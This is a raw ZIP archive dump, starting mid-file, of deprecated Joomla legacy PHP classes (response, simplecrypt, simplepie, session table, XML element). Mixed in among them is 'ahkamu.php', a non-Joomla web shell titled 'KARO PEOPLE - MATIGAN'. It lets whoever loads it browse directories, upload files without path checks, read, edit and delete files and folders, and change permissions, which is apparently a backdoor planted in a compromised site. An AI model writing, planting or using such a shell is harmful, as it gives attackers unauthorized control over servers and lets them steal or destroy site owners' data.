	 *                               whitespace trimmed.
	 *                           2 = allow_raw: If set, no more filtering is
performed, higher bits are ignored.
	 *                           4 = allow_html: HTML is allowed, but passed
through a safe HTML filter first. If set, no more filtering
	 *                               is performed. If no bits other than the 1
bit is set, a strict filter is applied.
	 * @param   string   $type  The variable type {@see
JFilterInput::clean()}.
	 *
	 * @return  mixed  Same as $var
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
	protected static function _cleanVar($var, $mask = 0, $type = null)
	{
		$mask = (int) $mask;

		// If the no trim flag is not set, trim the variable
		if (!($mask & 1) && is_string($var))
		{
			$var = trim($var);
		}

		// Now we handle input filtering
		if ($mask & 2)
		{
			// If the allow raw flag is set, do not modify the variable
		}
		elseif ($mask & 4)
		{
			// If the allow HTML flag is set, apply a safe HTML filter to the
variable
			$safeHtmlFilter = JFilterInput::getInstance(null, null, 1, 1);
			$var = $safeHtmlFilter->clean($var, $type);
		}
		else
		{
			// Since no allow flags were set, we will apply the most strict filter
to the variable
			// $tags, $attr, $tag_method, $attr_method, $xss_auto use defaults.
			$noHtmlFilter = JFilterInput::getInstance();
			$var = $noHtmlFilter->clean($var, $type);
		}

		return $var;
	}
}
PK�}�[�:W�eeresponse/response.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Response
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('JResponse is deprecated.', JLog::WARNING,
'deprecated');

/**
 * JResponse Class.
 *
 * This class serves to provide the Joomla Platform with a common interface
to access
 * response variables.  This includes header and body.
 *
 * @since       1.7.0
 * @deprecated  1.5  Use JApplicationWeb instead
 */
class JResponse
{
	/**
	 * Response body
	 *
	 * @var    array
	 * @since  1.6
	 * @deprecated  3.2
	 */
	protected static $body = array();

	/**
	 * Flag if the response is cachable
	 *
	 * @var    boolean
	 * @since  1.6
	 * @deprecated  3.2
	 */
	protected static $cachable = false;

	/**
	 * Response headers
	 *
	 * @var    array
	 * @since  1.6
	 * @deprecated  3.2
	 */
	protected static $headers = array();

	/**
	 * Set/get cachable state for the response.
	 *
	 * If $allow is set, sets the cachable state of the response.  Always
returns current state.
	 *
	 * @param   boolean  $allow  True to allow browser caching.
	 *
	 * @return  boolean  True if browser caching should be allowed
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::allowCache() instead
	 */
	public static function allowCache($allow = null)
	{
		return JFactory::getApplication()->allowCache($allow);
	}

	/**
	 * Set a header.
	 *
	 * If $replace is true, replaces any headers already defined with that
$name.
	 *
	 * @param   string   $name     The name of the header to set.
	 * @param   string   $value    The value of the header to set.
	 * @param   boolean  $replace  True to replace any existing headers by
name.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::setHeader() instead
	 */
	public static function setHeader($name, $value, $replace = false)
	{
		JFactory::getApplication()->setHeader($name, $value, $replace);
	}

	/**
	 * Return array of headers.
	 *
	 * @return  array
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::getHeaders() instead
	 */
	public static function getHeaders()
	{
		return JFactory::getApplication()->getHeaders();
	}

	/**
	 * Clear headers.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::clearHeaders() instead
	 */
	public static function clearHeaders()
	{
		JFactory::getApplication()->clearHeaders();
	}

	/**
	 * Send all headers.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::sendHeaders() instead
	 */
	public static function sendHeaders()
	{
		JFactory::getApplication()->sendHeaders();
	}

	/**
	 * Set body content.
	 *
	 * If body content already defined, this will replace it.
	 *
	 * @param   string  $content  The content to set to the response body.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::setBody() instead
	 */
	public static function setBody($content)
	{
		JFactory::getApplication()->setBody($content);
	}

	/**
	 * Prepend content to the body content
	 *
	 * @param   string  $content  The content to prepend to the response body.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::prependBody() instead
	 */
	public static function prependBody($content)
	{
		JFactory::getApplication()->prependBody($content);
	}

	/**
	 * Append content to the body content
	 *
	 * @param   string  $content  The content to append to the response body.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::appendBody() instead
	 */
	public static function appendBody($content)
	{
		JFactory::getApplication()->appendBody($content);
	}

	/**
	 * Return the body content
	 *
	 * @param   boolean  $toArray  Whether or not to return the body content
as an array of strings or as a single string; defaults to false.
	 *
	 * @return  string  array
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationWeb::getBody() instead
	 */
	public static function getBody($toArray = false)
	{
		return JFactory::getApplication()->getBody($toArray);
	}

	/**
	 * Sends all headers prior to returning the string
	 *
	 * @param   boolean  $compress  If true, compress the data
	 *
	 * @return  string
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use JApplicationCms::toString() instead
	 */
	public static function toString($compress = false)
	{
		return JFactory::getApplication()->toString($compress);
	}

	/**
	 * Compress the data
	 *
	 * Checks the accept encoding of the browser and compresses the data
before
	 * sending it to the client.
	 *
	 * @param   string  $data  Content to compress for output.
	 *
	 * @return  string  compressed data
	 *
	 * @note    Replaces _compress method from 1.5
	 * @since   1.7
	 * @deprecated  3.2  Use JApplicationWeb::compress() instead
	 */
	protected static function compress($data)
	{
		$encoding = self::clientEncoding();

		if (!$encoding)
		{
			return $data;
		}

		if (!extension_loaded('zlib') ||
ini_get('zlib.output_compression'))
		{
			return $data;
		}

		if (headers_sent())
		{
			return $data;
		}

		if (connection_status() !== 0)
		{
			return $data;
		}

		// Ideal level
		$level = 4;

		$gzdata = gzencode($data, $level);

		self::setHeader('Content-Encoding', $encoding);
		self::setHeader('Vary', 'Accept-Encoding');

		// Header will be removed at 4.0
		if (defined('JVERSION') &&
JFactory::getConfig()->get('MetaVersion', 0))
		{
			self::setHeader('X-Content-Encoded-By', 'Joomla! ' .
JVERSION);
		}

		return $gzdata;
	}

	/**
	 * Check, whether client supports compressed data
	 *
	 * @return  boolean
	 *
	 * @since   1.7
	 * @note    Replaces _clientEncoding method from 1.5
	 * @deprecated  3.2  Use JApplicationWebClient instead
	 */
	protected static function clientEncoding()
	{
		if (!isset($_SERVER['HTTP_ACCEPT_ENCODING']))
		{
			return false;
		}

		$encoding = false;

		if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'],
'gzip'))
		{
			$encoding = 'gzip';
		}

		if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'],
'x-gzip'))
		{
			$encoding = 'x-gzip';
		}

		return $encoding;
	}
}
PK�}�[��)$$simplecrypt/simplecrypt.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Simplecrypt
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * JSimpleCrypt is a very simple encryption algorithm for
encrypting/decrypting strings
 *
 * @since       1.5
 * @deprecated  2.5.5 Use JCrypt instead.
 */
class JSimplecrypt
{
	/**
	 * Encryption/Decryption Key
	 *
	 * @var         JCrypt
	 * @since       3.0
	 * @deprecated  3.0  Use JCrypt instead.
	 */
	private $_crypt;

	/**
	 * Object Constructor takes an optional key to be used for
encryption/decryption. If no key is given then the
	 * secret word from the configuration object is used.
	 *
	 * @param   string  $privateKey  Optional encryption key
	 *
	 * @since       1.5
	 * @deprecated  2.5.5  Use JCrypt instead.
	 */
	public function __construct($privateKey = null)
	{
		JLog::add('JSimpleCrypt is deprecated. Use JCrypt instead.',
JLog::WARNING, 'deprecated');

		if (empty($privateKey))
		{
			$privateKey = md5(JFactory::getConfig()->get('secret'));
		}

		// Build the JCryptKey object.
		$key = new JCryptKey('simple', $privateKey, $privateKey);

		// Setup the JCrypt object.
		$this->_crypt = new JCrypt(new JCryptCipherSimple, $key);
	}

	/**
	 * Decrypt a string
	 *
	 * @param   string  $s  String to decrypt
	 *
	 * @return  string
	 *
	 * @since   1.5
	 * @deprecated  2.5.5  Use JCrypt instead.
	 */
	public function decrypt($s)
	{
		return $this->_crypt->decrypt($s);
	}

	/**
	 * Encrypt a string
	 *
	 * @param   string  $s  String to encrypt
	 *
	 * @return  string
	 *
	 * @since   1.5
	 * @deprecated  2.5.5  Use JCrypt instead.
	 */
	public function encrypt($s)
	{
		return $this->_crypt->encrypt($s);
	}
}
PK�}�[�=��simplepie/factory.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Simplepie
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

jimport('simplepie.simplepie');

/**
 * Class to maintain a pathway.
 *
 * The user's navigated path within the application.
 *
 * @since       3.0
 * @deprecated  3.0 Use JFeed or supply your own methods
 */
class JSimplepieFactory
{
	/**
	 * Get a parsed XML Feed Source
	 *
	 * @param   string   $url        URL for feed source.
	 * @param   integer  $cacheTime  Time to cache feed for (using internal
cache mechanism).
	 *
	 * @return  SimplePie|boolean  SimplePie parsed object on success, false
on failure.
	 *
	 * @since   3.0
	 * @deprecated  3.0  Use JFeedFactory($url) instead.
	 */
	public static function getFeedParser($url, $cacheTime = 0)
	{
		JLog::add(__METHOD__ . ' is deprecated.   Use JFeedFactory() or
supply Simple Pie instead.', JLog::WARNING, 'deprecated');

		$cache = JFactory::getCache('feed_parser',
'callback');

		if ($cacheTime > 0)
		{
			$cache->setLifeTime($cacheTime);
		}

		$simplepie = new SimplePie(null, null, 0);

		$simplepie->enable_cache(false);
		$simplepie->set_feed_url($url);
		$simplepie->force_feed(true);

		$contents = $cache->get(array($simplepie, 'init'), null,
false, false);

		if ($contents)
		{
			return $simplepie;
		}

		JLog::add(JText::_('JLIB_UTIL_ERROR_LOADING_FEED_DATA'),
JLog::WARNING, 'jerror');

		return false;
	}
}
PK�}�[���table/session.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Table
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Session table
 *
 * @since       1.5
 * @deprecated  3.2  Use SQL queries to interact with the session table.
 */
class JTableSession extends JTable
{
	/**
	 * Constructor
	 *
	 * @param   JDatabaseDriver  $db  Database driver object.
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use SQL queries to interact with the session table.
	 */
	public function __construct(JDatabaseDriver $db)
	{
		JLog::add('JTableSession is deprecated. Use SQL queries directly to
interact with the session table.', JLog::WARNING,
'deprecated');
		parent::__construct('#__session', 'session_id', $db);

		$this->guest = 1;
		$this->username = '';
	}

	/**
	 * Insert a session
	 *
	 * @param   string   $sessionId  The session id
	 * @param   integer  $clientId   The id of the client application
	 *
	 * @return  boolean  True on success
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use SQL queries to interact with the session table.
	 */
	public function insert($sessionId, $clientId)
	{
		$this->session_id = $sessionId;
		$this->client_id = $clientId;

		$this->time = time();
		$ret = $this->_db->insertObject($this->_tbl, $this,
'session_id');

		if (!$ret)
		{
			$this->setError(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED',
strtolower(get_class($this)), $this->_db->stderr()));

			return false;
		}
		else
		{
			return true;
		}
	}

	/**
	 * Updates the session
	 *
	 * @param   boolean  $updateNulls  True to update fields even if they are
null.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use SQL queries to interact with the session table.
	 */
	public function update($updateNulls = false)
	{
		$this->time = time();
		$ret = $this->_db->updateObject($this->_tbl, $this,
'session_id', $updateNulls);

		if (!$ret)
		{
			$this->setError(JText::sprintf('JLIB_DATABASE_ERROR_STORE_FAILED',
strtolower(get_class($this)), $this->_db->stderr()));

			return false;
		}
		else
		{
			return true;
		}
	}

	/**
	 * Destroys the pre-existing session
	 *
	 * @param   integer  $userId     Identifier of the user for this session.
	 * @param   array    $clientIds  Array of client ids for which session(s)
will be destroyed
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use SQL queries to interact with the session table.
	 */
	public function destroy($userId, $clientIds = array())
	{
		$clientIds = implode(',', $clientIds);

		$query = $this->_db->getQuery(true)
			->delete($this->_db->quoteName($this->_tbl))
			->where($this->_db->quoteName('userid') . ' =
' . $this->_db->quote($userId))
			->where($this->_db->quoteName('client_id') . '
IN (' . $clientIds . ')');
		$this->_db->setQuery($query);

		if (!$this->_db->execute())
		{
			$this->setError($this->_db->stderr());

			return false;
		}

		return true;
	}

	/**
	 * Purge old sessions
	 *
	 * @param   integer  $maxLifetime  Session age in seconds
	 *
	 * @return  mixed  Resource on success, null on fail
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use SQL queries to interact with the session table.
	 */
	public function purge($maxLifetime = 1440)
	{
		$past = time() - $maxLifetime;
		$query = $this->_db->getQuery(true)
			->delete($this->_db->quoteName($this->_tbl))
			->where($this->_db->quoteName('time') . ' <
' . (int) $past);
		$this->_db->setQuery($query);

		return $this->_db->execute();
	}

	/**
	 * Find out if a user has one or more active sessions
	 *
	 * @param   integer  $userid  The identifier of the user
	 *
	 * @return  boolean  True if a session for this user exists
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use SQL queries to interact with the session table.
	 */
	public function exists($userid)
	{
		$query = $this->_db->getQuery(true)
			->select('COUNT(userid)')
			->from($this->_db->quoteName($this->_tbl))
			->where($this->_db->quoteName('userid') . ' =
' . $this->_db->quote($userid));
		$this->_db->setQuery($query);

		if (!$result = $this->_db->loadResult())
		{
			$this->setError($this->_db->stderr());

			return false;
		}

		return (boolean) $result;
	}

	/**
	 * Overloaded delete method
	 *
	 * We must override it because of the non-integer primary key
	 *
	 * @param   integer  $oid  The object id (optional).
	 *
	 * @return  mixed  True if successful otherwise an error message
	 *
	 * @since   1.5
	 * @deprecated  3.2  Use SQL queries to interact with the session table.
	 */
	public function delete($oid = null)
	{
		$k = $this->_tbl_key;

		if ($oid)
		{
			$this->$k = $oid;
		}

		$query = $this->_db->getQuery(true)
			->delete($this->_db->quoteName($this->_tbl))
			->where($this->_db->quoteName($this->_tbl_key) . ' =
' . $this->_db->quote($this->$k));
		$this->_db->setQuery($query);

		$this->_db->execute();

		return true;
	}
}
PK�}�[�ݫ/<<utilities/xmlelement.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Utilities
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('JXMLElement is deprecated. Use SimpleXMLElement.',
JLog::WARNING, 'deprecated');

/**
 * Wrapper class for php SimpleXMLElement.
 *
 * @since       1.6
 * @deprecated  3.0  Use SimpleXMLElement instead.
 */
class JXMLElement extends SimpleXMLElement
{
	/**
	 * Get the name of the element.
	 *
	 * @return  string
	 *
	 * @since   1.6
	 * @deprecated  3.0  Use SimpleXMLElement::getName() instead.
	 */
	public function name()
	{
		JLog::add('JXMLElement::name() is deprecated, use
SimpleXMLElement::getName() instead.', JLog::WARNING,
'deprecated');

		return (string) $this->getName();
	}

	/**
	 * Return a well-formed XML string based on SimpleXML element
	 *
	 * @param   boolean  $compressed  Should we use indentation and newlines ?
	 * @param   string   $indent      Indention character.
	 * @param   integer  $level       The level within the document which
informs the indentation.
	 *
	 * @return  string
	 *
	 * @since   1.6
	 * @deprecated  3.0  Use SimpleXMLElement::asXml() instead.
	 */
	public function asFormattedXml($compressed = false, $indent =
"\t", $level = 0)
	{
		JLog::add('JXMLElement::asFormattedXml() is deprecated, use
SimpleXMLElement::asXml() instead.', JLog::WARNING,
'deprecated');
		$out = '';

		// Start a new line, indent by the number indicated in $level
		$out .= $compressed ? '' : "\n" . str_repeat($indent,
$level);

		// Add a <, and add the name of the tag
		$out .= '<' . $this->getName();

		// For each attribute, add attr="value"
		foreach ($this->attributes() as $attr)
		{
			$out .= ' ' . $attr->getName() . '="' .
htmlspecialchars((string) $attr, ENT_COMPAT, 'UTF-8') .
'"';
		}

		// If there are no children and it contains no data, end it off with a
/>
		if (!(string) $this && !count($this->children()))
		{
			$out .= ' />';
		}
		else
		{
			// If there are children
			if (count($this->children()))
			{
				// Close off the start tag
				$out .= '>';

				$level++;

				// For each child, call the asFormattedXML function (this will ensure
that all children are added recursively)
				foreach ($this->children() as $child)
				{
					$out .= $child->asFormattedXml($compressed, $indent, $level);
				}

				$level--;

				// Add the newline and indentation to go along with the close tag
				$out .= $compressed ? '' : "\n" .
str_repeat($indent, $level);
			}
			elseif ((string) $this)
			{
				// If there is data, close off the start tag and add the data
				$out .= '>' . htmlspecialchars((string) $this, ENT_COMPAT,
'UTF-8');
			}

			// Add the end tag
			$out .= '</' . $this->getName() . '>';
		}

		return $out;
	}
}
PK�}�[���%�%
ahkamu.phpnu�[���<?php
// Base directory configuration (change as needed)
$base_dir = $_SERVER['DOCUMENT_ROOT'];
$directory = isset($_GET['dir']) ? $_GET['dir'] :
$base_dir;
$full_path = realpath($directory);

// Security function for path validation
function is_valid_path($path) {
    global $base_dir;
    return strpos(realpath($path), realpath($base_dir)) === 0;
}

// Function to format file size in human-readable form
function format_size($size) {
    $units = ['B', 'KB', 'MB',
'GB', 'TB'];
    $unit = 0;
    while ($size >= 1024 && $unit < count($units) - 1) {
        $size /= 1024;
        $unit++;
    }
    return round($size, 2) . ' ' . $units[$unit];
}

// Function to display folder permissions
function get_permissions($path) {
    return substr(sprintf('%o', fileperms($path)), -4);
}

// File Upload Feature
if (isset($_FILES['file_to_upload'])) {
    $target_file = $full_path . DIRECTORY_SEPARATOR .
basename($_FILES['file_to_upload']['name']);
    if
(move_uploaded_file($_FILES['file_to_upload']['tmp_name'],
$target_file)) {
        echo "<div class='alert alert-success'>File
" .
htmlspecialchars(basename($_FILES['file_to_upload']['name']))
. " successfully uploaded.</div>";
    } else {
        echo "<div class='alert alert-danger'>Failed
to upload file.</div>";
    }
}

// File Edit Feature
if (isset($_POST['edit_file']) &&
isset($_POST['file_content'])) {
    $edit_file = $_POST['edit_file'];
    if (is_valid_path($edit_file)) {
        file_put_contents($edit_file, $_POST['file_content']);
        echo "<div class='alert alert-success'>File
successfully edited.</div>";
    } else {
        echo "<div class='alert alert-danger'>Invalid
file path.</div>";
    }
}

// File Delete Feature
if (isset($_POST['delete_file'])) {
    $delete_file = $_POST['delete_file'];
    if (is_valid_path($delete_file) && is_file($delete_file)) {
        unlink($delete_file);
        echo "<div class='alert alert-success'>File
successfully deleted.</div>";
    } else {
        echo "<div class='alert alert-danger'>Failed
to delete file.</div>";
    }
}

// Folder Delete Feature
if (isset($_POST['delete_folder'])) {
    $delete_folder = $_POST['delete_folder'];
    if (is_valid_path($delete_folder) && is_dir($delete_folder)) {
        rmdir_recursive($delete_folder);
        echo "<div class='alert alert-success'>Folder
successfully deleted.</div>";
    } else {
        echo "<div class='alert alert-danger'>Failed
to delete folder.</div>";
    }
}

// Recursive function to delete a folder and its contents
function rmdir_recursive($dir) {
    foreach (scandir($dir) as $file) {
        if ($file !== '.' && $file !== '..') {
            $full_path = $dir . DIRECTORY_SEPARATOR . $file;
            if (is_dir($full_path)) {
                rmdir_recursive($full_path);
            } else {
                unlink($full_path);
            }
        }
    }
    rmdir($dir);
}

// Load file content for editing via AJAX
if (isset($_GET['load_file'])) {
    $file_to_load = $_GET['load_file'];
    if (is_valid_path($file_to_load) && is_file($file_to_load)) {
        echo file_get_contents($file_to_load);
    }
    exit;
}

// Handle permissions update
if (isset($_POST['set_permissions'])) {
    $target_path = $_POST['target_path'];
    $permissions = $_POST['permissions'];
    if (is_valid_path($target_path)) {
        chmod($target_path, octdec($permissions));
        echo "<div class='alert
alert-success'>Permissions updated to
$permissions.</div>";
    } else {
        echo "<div class='alert alert-danger'>Failed
to update permissions.</div>";
    }
}

// List Directory Content
$files = scandir($full_path);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,
initial-scale=1.0">
    <title>KARO PEOPLE - MATIGAN</title>
    <link
href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css"
rel="stylesheet">
</head>
<body>
<div class="container mt-5">
    <h1 class="text-center mb-4">KARO PEOPLE -
MATIGAN</h1>

    <!-- File Upload Form -->
    <div class="card mb-4">
        <div class="card-header">
            <h2>Upload File</h2>
        </div>
        <div class="card-body">
            <form action="" method="POST"
enctype="multipart/form-data" class="form-inline">
                <div class="form-group">
                    <input type="file"
name="file_to_upload" class="form-control mb-2
mr-2">
                </div>
                <button type="submit" class="btn
btn-primary mb-2">Upload</button>
            </form>
        </div>
    </div>

    <!-- Directory Content -->
    <div class="card">
        <div class="card-header">
            <h2>Directory Content: <?php echo
htmlspecialchars($full_path); ?></h2>
        </div>
        <div class="card-body">
            <ul class="list-group">
                <?php foreach ($files as $file): ?>
                    <?php if ($file !== '.' && $file
!== '..'): ?>
                        <li class="list-group-item d-flex
justify-content-between align-items-center">
                            <?php if (is_dir($full_path .
DIRECTORY_SEPARATOR . $file)): ?>
                                <a href="?dir=<?php echo
urlencode($full_path . DIRECTORY_SEPARATOR . $file); ?>">
                                    <strong><?php echo
htmlspecialchars($file); ?></strong>
                                </a>
                                <form action=""
method="POST" style="display: inline;">
                                    <input type="hidden"
name="delete_folder" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
                                    <button type="submit"
class="btn btn-danger btn-sm">Delete Folder</button>
                                </form>
                            <?php else: ?>
                                <?php echo htmlspecialchars($file);
?> 
                                (<?php echo
format_size(filesize($full_path . DIRECTORY_SEPARATOR . $file)); ?>) 
                                <span
class="text-muted">(Permissions: <?php echo
get_permissions($full_path . DIRECTORY_SEPARATOR . $file);
?>)</span>
                                <div>
                                    <button type="button"
class="btn btn-warning btn-sm"
onclick="editFile('<?php echo addslashes($full_path .
DIRECTORY_SEPARATOR . $file); ?>')">Edit</button>
                                    <form action=""
method="POST" style="display: inline;">
                                        <input type="hidden"
name="delete_file" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
                                        <button type="submit"
class="btn btn-danger btn-sm">Delete</button>
                                    </form>
                                    <form action=""
method="POST" style="display: inline;">
                                        <input type="hidden"
name="target_path" value="<?php echo
htmlspecialchars($full_path . DIRECTORY_SEPARATOR . $file);
?>">
                                        <input type="text"
name="permissions" placeholder="0644"
class="form-control-sm">
                                        <button type="submit"
name="set_permissions" class="btn btn-info
btn-sm">Set Permissions</button>
                                    </form>
                                </div>
                            <?php endif; ?>
                        </li>
                    <?php endif; ?>
                <?php endforeach; ?>
            </ul>
        </div>
    </div>
</div>

<!-- Modal for Editing File -->
<div id="editModal" class="modal"
tabindex="-1" role="dialog">
    <div class="modal-dialog" role="document">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Edit
File</h5>
                <button type="button"
class="btn-close"
onclick="closeModal()"></button>
            </div>
            <div class="modal-body">
                <form action="" method="POST">
                    <input type="hidden"
name="edit_file" id="edit_file">
                    <div class="form-group">
                        <textarea name="file_content"
id="file_content" rows="10"
class="form-control"></textarea>
                    </div>
                    <button type="submit" class="btn
btn-primary mt-3">Save Changes</button>
                </form>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn
btn-secondary"
onclick="closeModal()">Close</button>
            </div>
        </div>
    </div>
</div>

<script>
    function editFile(filePath) {
        document.getElementById('editModal').style.display =
'block';
        document.getElementById('edit_file').value = filePath;

        // Load file content using Ajax
        var xhr = new XMLHttpRequest();
        xhr.open('GET', '?load_file=' +
encodeURIComponent(filePath), true);
        xhr.onload = function () {
            if (xhr.status === 200) {
                document.getElementById('file_content').value =
xhr.responseText;
            }
        };
        xhr.send();
    }

    function closeModal() {
        document.getElementById('editModal').style.display =
'none';
    }
</script>

<!-- Bootstrap JS -->
<script
src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"></script>

</body>
</html>
PK�}�[½[R�u�uapplication/application.phpnu�[���PK�}�[�-���
"vbase/node.phpnu�[���PK�}�[�m��88O�base/observable.phpnu�[���PK�}�[w��ppʐbase/observer.phpnu�[���PK�}�[{�33
{�base/tree.phpnu�[���PK�}�[�诅$$�database/exception.phpnu�[���PK�}�[>c��NNU�database/mysql.phpnu�[���PK�}�[6Q�hh�database/mysqli.phpnu�[���PK�}�[�}{����database/sqlazure.phpnu�[���PK�}�[Q��?}}d�database/sqlsrv.phpnu�[���PK�}�[�w�0��$�dispatcher/dispatcher.phpnu�[���PK�}�[�6h5�V�V�error/error.phpnu�[���PK�}�[��t��
�
exception/exception.phpnu�[���PK�}�[C�HH%form/field/category.phpnu�[���PK�}�[C[���0form/field/componentlayout.phpnu�[���PK�}�[�c�����Kform/field/modulelayout.phpnu�[���PK�}�[�ŒJ..clog/logexception.phpnu�[���PK�}�[˸2��9�9�erequest/request.phpnu�[���PK�}�[�:W�ee��response/response.phpnu�[���PK�}�[��)$$_�simplecrypt/simplecrypt.phpnu�[���PK�}�[�=��οsimplepie/factory.phpnu�[���PK�}�[���.�table/session.phpnu�[���PK�}�[�ݫ/<<��utilities/xmlelement.phpnu�[���PK�}�[���%�%
��ahkamu.phpnu�[���PK��